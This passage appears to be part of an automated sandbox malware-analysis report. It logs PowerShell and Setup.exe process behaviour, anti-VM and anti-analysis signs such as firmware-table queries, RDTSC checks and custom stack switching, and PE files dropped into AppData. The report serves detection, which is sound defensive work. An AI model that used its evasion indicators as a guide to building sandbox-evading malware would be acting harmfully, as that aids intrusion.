Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: msiexec.exe PID: 6664, type: MEMORYSTR

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	System information queried: FirmwareTableInformation	Jump to behavior

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	API/Special instruction interceptor: Address: 6C05C59A
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	API/Special instruction interceptor: Address: 6C073A1A
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	API/Special instruction interceptor: Address: 6C0E4F68
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	API/Special instruction interceptor: Address: 6C33362D
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	API/Special instruction interceptor: Address: 6C3EEC49
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	API/Special instruction interceptor: Address: 6C154B36
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	API/Special instruction interceptor: Address: 6BECF154
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	API/Special instruction interceptor: Address: 6B7175DE
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	API/Special instruction interceptor: Address: 6C14B59D
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	API/Special instruction interceptor: Address: 6BEF522F
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	API/Special instruction interceptor: Address: 6BFD1137
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	API/Special instruction interceptor: Address: 6BEB07B9
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	API/Special instruction interceptor: Address: 6AB37C44
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	API/Special instruction interceptor: Address: 6AB37945
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	API/Special instruction interceptor: Address: 6C3B3D88
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	API/Special instruction interceptor: Address: 6C30530B
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	API/Special instruction interceptor: Address: 6BE9DFD4
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	API/Special instruction interceptor: Address: 6C363217
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	API/Special instruction interceptor: Address: 6C3BF3A6
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	API/Special instruction interceptor: Address: 6BF004C4
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	API/Special instruction interceptor: Address: 6C3BEF32
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	API/Special instruction interceptor: Address: 6C17D830
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	API/Special instruction interceptor: Address: 6C3D4FEA
Source: C:\Windows\SysWOW64\more.com	API/Special instruction interceptor: Address: 6AB33B54
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	API/Special instruction interceptor: Address: 6C16A4C9
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	API/Special instruction interceptor: Address: 6C02D309
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	API/Special instruction interceptor: Address: 6C00A0FC
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	API/Special instruction interceptor: Address: 6B6F0F01
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	API/Special instruction interceptor: Address: 6BECF115
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	API/Special instruction interceptor: Address: 6B6FA2CF
Source: C:\Windows\SysWOW64\msiexec.exe	API/Special instruction interceptor: Address: C7BC87
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	API/Special instruction interceptor: Address: 6C35C56F
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	API/Special instruction interceptor: Address: 6C36E97B

Tries to evade analysis by execution special instruction (VM detection)

Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe

Special instruction interceptor: First address: 6C04B98B instructions rdtsc caused by: RDTSC with Trap Flag (TF)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2426	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 845	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 2330	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3968	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5813	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2354	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 455	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\FeGIPCnK\RcClientBase.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\FeGIPCnK\Data\Updater.ex	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\FeGIPCnK\NAudio.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\FeGIPCnK\UpdateCommon.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Driver\msvcr90.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Driver\python27.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\FeGIPCnK\Data\ffmpeg.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\FeGIPCnK\UpdateClient.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\FeGIPCnK\Data\d3dcompiler_47.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\FeGIPCnK\config.prx	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\FeGIPCnK\Resource.ct	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\FeGIPCnK\msvcr90.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\FeGIPCnK\python27.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\more.com	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nmovbfii	Jump to dropped file

